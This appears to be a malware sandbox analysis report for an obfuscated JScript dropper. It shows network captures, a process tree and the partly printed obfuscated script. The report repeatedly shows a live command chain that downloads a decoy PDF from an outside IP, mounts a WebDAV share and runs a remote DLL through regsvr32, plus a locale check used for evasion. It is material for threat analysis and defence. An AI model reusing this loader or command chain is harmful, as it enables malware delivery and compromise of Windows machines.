Jan 10, 2025 18:43:03.503667116 CET	1.1.1.1	192.168.2.7	0x11b7	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	193.143.1.205	80	2440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:42:52.608393908 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 18:42:53.370220900 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:42:53 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 18:42:53.370286942 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 18:42:53.370299101 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 10, 2025 18:42:53.370448112 CET	672	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 10, 2025 18:42:53.370594025 CET	1236	IN	Data Raw: 86 de 06 c7 86 12 43 a7 33 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b a7 70 60 68 1f 43 d3 81 a1 4f b7 26 86 9e 36 31 74 70 60 e8 db cb 2e 86 36 a7 85 b6 63 a1 cf ce 9f f7 8f b6 87 a6 e1 d0 cb 37 2f fd b1 a1 77 dd b1 a1 6d 0c Data Ascii: C3`\|d1;p`hCO&61tp`.6c7/wmM1~CrlvM}s_,%hLT]}lbu:0904zpap`}{+76z96tCoN%$)1&C{u`')6^
Jan 10, 2025 18:42:53.370621920 CET	1236	IN	Data Raw: 28 1d 18 fa a9 3f 30 d4 c5 d0 cb 26 86 9e 9f 35 31 f4 24 8c a1 af 87 31 b4 ef a1 a9 84 a6 1d b9 e5 18 7a da c6 d0 8b 14 43 af 9a 18 7a 7b db 1f 1b da c6 d0 47 13 43 19 0e dd 9e a9 6f 4e 00 00 00 d3 e0 8b 25 00 d8 4d 95 f7 e7 55 d2 c9 5a ae 24 17 Data Ascii: (?0&51$1zCz{GCoN%MUZ$M>la\yU.cZjW]g`Z^]~5W-qIae6d[&>+LW1:7zb7+Cz^m}Pwl(1t9L/`j5w.\y,Z*
Jan 10, 2025 18:42:53.370632887 CET	1236	IN	Data Raw: 8f 6e 8f 0e 06 31 f4 fd db 4b d9 94 9b 86 43 75 0f 6d 67 42 bb b1 50 15 43 af 25 86 1e 06 31 f4 e1 fa ea f1 e6 e6 b1 1c 43 39 36 74 5b a6 be 39 01 00 00 4c 83 2f 96 00 60 5a e1 5d b7 e6 9b f3 8f 63 72 df a8 af cc 04 7f 8e 0d 84 86 19 d4 d7 cf 1b Data Ascii: n1KCumgBPC%1C96t[9L/`Z]crZia)seh*w6K_CU^\|.%2F'Zrr%cAvtN{QF?X<0!t{&1qC
Jan 10, 2025 18:42:53.370645046 CET	1236	IN	Data Raw: 53 d0 0a 9f 26 95 9f 29 77 99 43 4e 6b 4a 56 f9 e9 ca 85 e3 f0 a5 ac ff 79 00 79 26 f5 73 58 f3 93 00 26 e4 95 33 68 65 a5 ad 7f f3 9b 57 f3 29 3a 10 36 a7 f2 75 cc 15 c9 ca a8 5d ce a0 a3 ef 1f 79 e7 94 17 08 fb 37 12 3d 14 c0 84 16 8a 23 f8 dc Data Ascii: S&)wCNkJVyy&sX&3heW):6u]y7=#,x`hM=C?1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfV
Jan 10, 2025 18:42:53.370892048 CET	1236	IN	Data Raw: 92 44 53 97 31 23 a2 fe f8 4e 5d 45 cd 3c a0 3c 5d 61 70 2c 54 aa 9a 49 55 9f 65 fd 98 6a 39 4e 99 ab 2a b7 33 7d 49 fa 99 a9 ac b4 3a 89 e6 42 6d b8 f7 d8 3f 63 72 79 9a 4c 3b 86 4f 57 b9 87 96 d7 ab 16 c6 09 47 7b 6e 39 63 d5 3c 57 35 ed d8 7f Data Ascii: DS1#N]E<<]ap,TIUej9N*3}I:Bm?cryL;OWG{n9c<W5.3}edy7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#
Jan 10, 2025 18:42:53.370915890 CET	1236	IN	Data Raw: 51 fd ec 85 2f 6b ee 9d 56 7e b3 85 5b ac c3 57 d3 bf f9 d3 8c b6 94 77 33 af 3a ba 1e 36 f7 83 16 85 12 6a 72 76 aa d8 1f 14 3d 9b 59 7f 60 6e cd ba 63 fd 33 27 b9 73 72 cd cd d6 bc 97 72 e3 cf 7e 59 2e 31 14 c0 e6 ac da 4b b0 a3 16 39 30 34 8c Data Ascii: Q/kV~[Ww3:6jrv=Y`nc3'srr~Y.1K904CT{hD?ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L
Jan 10, 2025 18:42:53.375173092 CET	548	IN	Data Raw: f5 5b 85 65 79 f5 ec ff ae 9f b1 5c 09 95 35 d1 89 39 2d d7 ac 86 2e 6c ca 0d 5f 50 f3 6a fa 9f a0 90 1f 06 28 64 77 79 8f f9 15 be e1 c8 6a ae 6e fb 1e 6a ce eb 94 28 59 28 a1 92 41 53 c2 d6 af a3 1f 81 d7 53 99 7e c2 f7 da 29 77 6d 7d 4f 93 cf Data Ascii: [ey\59-.l_Pj(dwyjnj(Y(ASS~)wm}OP}'2`sVi%QU;rK^Co:\|4}3=}86rMb(Na4b6NP]&[\KM(_pC%sSOJ)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.7	49700	193.143.1.205	8888	7360	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 18:42:54.986721039 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 18:42:55.788965940 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 17:42:55 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	12:42:47
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\19048239772762424923.js"
Imagebase:	0x7ff6f2770000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	12:42:48
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user~1\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll
Imagebase:	0x7ff633bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	12:42:48
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff75da10000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	12:42:48
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user~1\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff741d30000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	12:42:53
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user~1\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff702560000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	12:42:53
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff633bd0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	12:42:53
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff7d0050000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	12:42:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	12:42:54
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7b4ee0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	15
Start time:	12:42:54
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2092 --field-trial-handle=1796,i,7737325079368609932,1276882422603953264,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6c3ff0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function yxdxpn() {	yxdxpn() ➔ undefined
1	nmvemrmge = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var ghdtsd = this[jsdwsns + aqidef + yxycxxbdy + xlrknfcos + zixqlxmm + fustexmt + lvfunim + ynqgzbxs] ( this[wchonykbb + sryddx + gkned + yxycxxbdy + dbhghwq + jsdwsns + ynqgzbxs][szxtuo + yxycxxbdy + zixqlxmm + aqidef + ynqgzbxs + zixqlxmm + mcazzwtv + abwvtvyu + udwqgjr + zixqlxmm + gkned + ynqgzbxs] ( wchonykbb + sryddx + gkned + yxycxxbdy + dbhghwq + jsdwsns + ynqgzbxs + wzsbrv + sryddx + utsdadygd + zixqlxmm + vvvfjayci + vvvfjayci ) [pxdqycf + zixqlxmm + ftcmsgora + pxdqycf + zixqlxmm + aqidef + oqssbtnk] ( iufxsbnz + niklrtht + juytgnf + brubcyaip + pvyomc + szxtuo + zrgnnnpi + pxdqycf + pxdqycf + juytgnf + txqshyph + rwaibq + pvyomc + zrgnnnpi + sryddx + juytgnf + pxdqycf + fedqtses + szxtuo + xfehy + lvfunim + ynqgzbxs + yxycxxbdy + xfehy + vvvfjayci + flosurupo + wwedyv + aqidef + lvfunim + zixqlxmm + vvvfjayci + fedqtses + fustexmt + lvfunim + ynqgzbxs + zixqlxmm + yxycxxbdy + lvfunim + aqidef + ynqgzbxs + dbhghwq + xfehy + lvfunim + aqidef + vvvfjayci + fedqtses + caikngazm + xfehy + gkned + aqidef + vvvfjayci + zixqlxmm ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( jcxczbu = 0 ; jcxczbu < nmvemrmge[vvvfjayci + zixqlxmm + lvfunim + ftcmsgora + ynqgzbxs + utsdadygd] ; ++ jcxczbu )
4	{
5	if ( ghdtsd == nmvemrmge[jcxczbu] )
6	{
7	ghdtsd = true;
8	break ;
9	}
10	}
11	if ( ghdtsd !== true )
12	this[wchonykbb + sryddx + gkned + yxycxxbdy + dbhghwq + jsdwsns + ynqgzbxs][rrmopc + ysbhwtk + dbhghwq + ynqgzbxs] ( );
13	this[wchonykbb + sryddx + gkned + yxycxxbdy + dbhghwq + jsdwsns + ynqgzbxs][szxtuo + yxycxxbdy + zixqlxmm + aqidef + ynqgzbxs + zixqlxmm + mcazzwtv + abwvtvyu + udwqgjr + zixqlxmm + gkned + ynqgzbxs] ( wchonykbb + sryddx + gkned + yxycxxbdy + dbhghwq + jsdwsns + ynqgzbxs + wzsbrv + sryddx + utsdadygd + zixqlxmm + vvvfjayci + vvvfjayci ) [yxycxxbdy + ysbhwtk + lvfunim] ( gkned + keglvpun + oqssbtnk + flosurupo + qmvxpjdg + gkned + flosurupo + jsdwsns + xfehy + rrcvx + zixqlxmm + yxycxxbdy + xlrknfcos + utsdadygd + zixqlxmm + vvvfjayci + vvvfjayci + wzsbrv + zixqlxmm + todaaoqg + zixqlxmm + flosurupo + risycz + szxtuo + xfehy + keglvpun + keglvpun + aqidef + lvfunim + oqssbtnk + flosurupo + euggd + fustexmt + lvfunim + ejqadzuh + xfehy + nczzfshsz + zixqlxmm + risycz + wchonykbb + zixqlxmm + abwvtvyu + pxdqycf + zixqlxmm + qehgiud + ysbhwtk + zixqlxmm + xlrknfcos + ynqgzbxs + flosurupo + risycz + mcazzwtv + ysbhwtk + ynqgzbxs + mlcmkrobn + dbhghwq + vvvfjayci + zixqlxmm + flosurupo + hdfrgjdjz + ynqgzbxs + zixqlxmm + keglvpun + jsdwsns + hdfrgjdjz + fedqtses + dbhghwq + lvfunim + ejqadzuh + xfehy + dbhghwq + gkned + zixqlxmm + wzsbrv + jsdwsns + oqssbtnk + wjohs + flosurupo + utsdadygd + ynqgzbxs + ynqgzbxs + jsdwsns + uydme + qmvxpjdg + qmvxpjdg + nyjzwv + qojvtgaiz + kllzjvn + wzsbrv + nyjzwv + advekprx + kllzjvn + wzsbrv + nyjzwv + wzsbrv + tdabfcscc + mgyac + zxtgszl + qmvxpjdg + dbhghwq + lvfunim + ejqadzuh + xfehy + dbhghwq + gkned + zixqlxmm + wzsbrv + jsdwsns + utsdadygd + jsdwsns + euggd + vbmlyfp + vbmlyfp + xlrknfcos + ynqgzbxs + aqidef + yxycxxbdy + ynqgzbxs + flosurupo + hdfrgjdjz + ynqgzbxs + zixqlxmm + keglvpun + jsdwsns + hdfrgjdjz + fedqtses + dbhghwq + lvfunim + ejqadzuh + xfehy + dbhghwq + gkned + zixqlxmm + wzsbrv + jsdwsns + oqssbtnk + wjohs + vbmlyfp + vbmlyfp + gkned + keglvpun + oqssbtnk + flosurupo + qmvxpjdg + gkned + flosurupo + lvfunim + zixqlxmm + ynqgzbxs + flosurupo + ysbhwtk + xlrknfcos + zixqlxmm + flosurupo + fedqtses + fedqtses + nyjzwv + qojvtgaiz + kllzjvn + wzsbrv + nyjzwv + advekprx + kllzjvn + wzsbrv + nyjzwv + wzsbrv + tdabfcscc + mgyac + zxtgszl + dyrxbsdtf + phpcrxwq + phpcrxwq + phpcrxwq + phpcrxwq + fedqtses + oqssbtnk + aqidef + ejqadzuh + rrcvx + rrcvx + rrcvx + yxycxxbdy + xfehy + xfehy + ynqgzbxs + fedqtses + vbmlyfp + vbmlyfp + gkned + keglvpun + oqssbtnk + flosurupo + qmvxpjdg + gkned + flosurupo + yxycxxbdy + zixqlxmm + ftcmsgora + xlrknfcos + ejqadzuh + yxycxxbdy + kllzjvn + tdabfcscc + flosurupo + qmvxpjdg + xlrknfcos + flosurupo + fedqtses + fedqtses + nyjzwv + qojvtgaiz + kllzjvn + wzsbrv + nyjzwv + advekprx + kllzjvn + wzsbrv + nyjzwv + wzsbrv + tdabfcscc + mgyac + zxtgszl + dyrxbsdtf + phpcrxwq + phpcrxwq + phpcrxwq + phpcrxwq + fedqtses + oqssbtnk + aqidef + ejqadzuh + rrcvx + rrcvx + rrcvx + yxycxxbdy + xfehy + xfehy + ynqgzbxs + fedqtses + nyjzwv + kcthgqmn + phpcrxwq + qojvtgaiz + mgyac + nyjzwv + tdabfcscc + tdabfcscc + phpcrxwq + advekprx + kllzjvn + tdabfcscc + nyjzwv + kllzjvn + wzsbrv + oqssbtnk + vvvfjayci + vvvfjayci, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\17890122843213.dll",0,false) ➔ 0
14	}
15	udwqgjr = "O";
16	udwqgjr = "s";
17	udwqgjr = "h";
18	udwqgjr = "j";
19	vvvfjayci = "G";
20	vvvfjayci = "u";
21	vvvfjayci = "O";
22	vvvfjayci = "t";
23	vvvfjayci = "Q";
24	vvvfjayci = "X";
25	vvvfjayci = "O";
26	vvvfjayci = "F";
27	vvvfjayci = "K";
28	vvvfjayci = "v";
29	vvvfjayci = "m";
30	vvvfjayci = "v";
31	vvvfjayci = "t";
32	vvvfjayci = "A";
33	vvvfjayci = "X";
34	vvvfjayci = "d";
35	vvvfjayci = "N";
36	vvvfjayci = "X";
37	vvvfjayci = "R";
38	vvvfjayci = "b";
39	vvvfjayci = "x";
40	vvvfjayci = "W";
41	vvvfjayci = "j";
42	vvvfjayci = "a";
43	vvvfjayci = "O";
44	vvvfjayci = "l";
45	euggd = "x";
46	euggd = "C";
47	euggd = "A";
48	euggd = "r";
49	euggd = "X";
50	euggd = "I";
51	euggd = "v";
52	euggd = "\"";
53	caikngazm = "g";
54	caikngazm = "k";
55	caikngazm = "C";
56	caikngazm = "W";
57	caikngazm = "S";
58	caikngazm = "L";
59	wwedyv = "x";
60	wwedyv = "a";
61	wwedyv = "F";
62	wwedyv = "m";
63	wwedyv = "U";
64	wwedyv = "e";
65	wwedyv = "A";
66	wwedyv = "q";
67	wwedyv = "f";
68	wwedyv = "o";
69	wwedyv = "v";
70	wwedyv = "a";
71	wwedyv = "z";
72	wwedyv = "B";
73	wwedyv = "j";
74	wwedyv = "v";
75	wwedyv = "p";
76	wwedyv = "I";
77	wwedyv = "H";
78	wwedyv = "p";
79	wwedyv = "j";
80	wwedyv = "A";
81	wwedyv = "A";
82	wwedyv = "p";
83	wwedyv = "s";
84	wwedyv = "X";
85	wwedyv = "c";
86	wwedyv = "X";
87	wwedyv = "l";
88	wwedyv = "S";
89	wwedyv = "Q";
90	wwedyv = "L";
91	wwedyv = "Z";
92	wwedyv = "r";
93	wwedyv = "a";
94	wwedyv = "Z";
95	wwedyv = "a";
96	wwedyv = "A";
97	wwedyv = "P";
98	wwedyv = "u";
99	wwedyv = "c";
100	wwedyv = "P";
101	risycz = "A";
102	risycz = "D";
103	risycz = "L";
104	risycz = "V";
105	risycz = "y";
106	risycz = "I";
107	risycz = "b";
108	risycz = "D";
109	risycz = "Y";
110	risycz = "n";
111	risycz = "j";
112	risycz = "-";
113	zrgnnnpi = "i";
114	zrgnnnpi = "j";
115	zrgnnnpi = "a";
116	zrgnnnpi = "j";
117	zrgnnnpi = "m";
118	zrgnnnpi = "L";
119	zrgnnnpi = "R";
120	zrgnnnpi = "T";
121	zrgnnnpi = "z";
122	zrgnnnpi = "k";
123	zrgnnnpi = "K";
124	zrgnnnpi = "r";
125	zrgnnnpi = "y";
126	zrgnnnpi = "r";
127	zrgnnnpi = "t";
128	zrgnnnpi = "T";
129	zrgnnnpi = "m";
130	zrgnnnpi = "l";
131	zrgnnnpi = "J";
132	zrgnnnpi = "w";
133	zrgnnnpi = "z";
134	zrgnnnpi = "d";
135	zrgnnnpi = "i";
136	zrgnnnpi = "q";
137	zrgnnnpi = "X";
138	zrgnnnpi = "U";
139	xlrknfcos = "h";
140	xlrknfcos = "M";
141	xlrknfcos = "y";
142	xlrknfcos = "N";
143	xlrknfcos = "C";
144	xlrknfcos = "K";
145	xlrknfcos = "F";
146	xlrknfcos = "b";
147	xlrknfcos = "v";
148	xlrknfcos = "Y";
149	xlrknfcos = "W";
150	xlrknfcos = "r";
151	xlrknfcos = "X";
152	xlrknfcos = "S";
153	xlrknfcos = "R";
154	xlrknfcos = "U";
155	xlrknfcos = "i";
156	xlrknfcos = "D";
157	xlrknfcos = "e";
158	xlrknfcos = "q";
159	xlrknfcos = "m";
160	xlrknfcos = "s";
161	pxdqycf = "g";
162	pxdqycf = "R";
163	pxdqycf = "T";
164	pxdqycf = "M";
165	pxdqycf = "J";
166	pxdqycf = "m";
167	pxdqycf = "f";
168	pxdqycf = "u";
169	pxdqycf = "X";
170	pxdqycf = "J";
171	pxdqycf = "b";
172	pxdqycf = "B";
173	pxdqycf = "L";
174	pxdqycf = "Q";
175	pxdqycf = "S";
176	pxdqycf = "V";
177	pxdqycf = "h";
178	pxdqycf = "y";
179	pxdqycf = "m";
180	pxdqycf = "e";
181	pxdqycf = "T";
182	pxdqycf = "B";
183	pxdqycf = "Y";
184	pxdqycf = "d";
185	pxdqycf = "f";
186	pxdqycf = "t";
187	pxdqycf = "R";
188	utsdadygd = "x";
189	utsdadygd = "M";
190	utsdadygd = "w";
191	utsdadygd = "P";
192	utsdadygd = "c";
193	utsdadygd = "B";
194	utsdadygd = "O";
195	utsdadygd = "J";
196	utsdadygd = "g";
197	utsdadygd = "T";
198	utsdadygd = "S";
199	utsdadygd = "D";
200	utsdadygd = "r";
201	utsdadygd = "H";
202	utsdadygd = "x";
203	utsdadygd = "r";
204	utsdadygd = "g";
205	utsdadygd = "k";
206	utsdadygd = "Y";
207	utsdadygd = "z";
208	utsdadygd = "w";
209	utsdadygd = "s";
210	utsdadygd = "E";
211	utsdadygd = "m";
212	utsdadygd = "z";
213	utsdadygd = "n";
214	utsdadygd = "w";
215	utsdadygd = "g";
216	utsdadygd = "h";
217	qehgiud = "k";
218	qehgiud = "d";
219	qehgiud = "n";
220	qehgiud = "L";
221	qehgiud = "d";
222	qehgiud = "w";
223	qehgiud = "Y";
224	qehgiud = "b";
225	qehgiud = "r";
226	qehgiud = "H";
227	qehgiud = "d";
228	qehgiud = "C";
229	qehgiud = "j";
230	qehgiud = "P";
231	qehgiud = "k";
232	qehgiud = "z";
233	qehgiud = "w";
234	qehgiud = "i";
235	qehgiud = "h";
236	qehgiud = "u";
237	qehgiud = "v";
238	qehgiud = "V";
239	qehgiud = "s";
240	qehgiud = "v";
241	qehgiud = "S";
242	qehgiud = "p";
243	qehgiud = "s";
244	qehgiud = "O";
245	qehgiud = "u";
246	qehgiud = "F";
247	qehgiud = "H";
248	qehgiud = "x";
249	qehgiud = "q";
250	qehgiud = "Z";
251	qehgiud = "Q";
252	qehgiud = "Y";
253	qehgiud = "L";
254	qehgiud = "X";
255	qehgiud = "y";
256	qehgiud = "q";
257	fustexmt = "e";
258	fustexmt = "H";
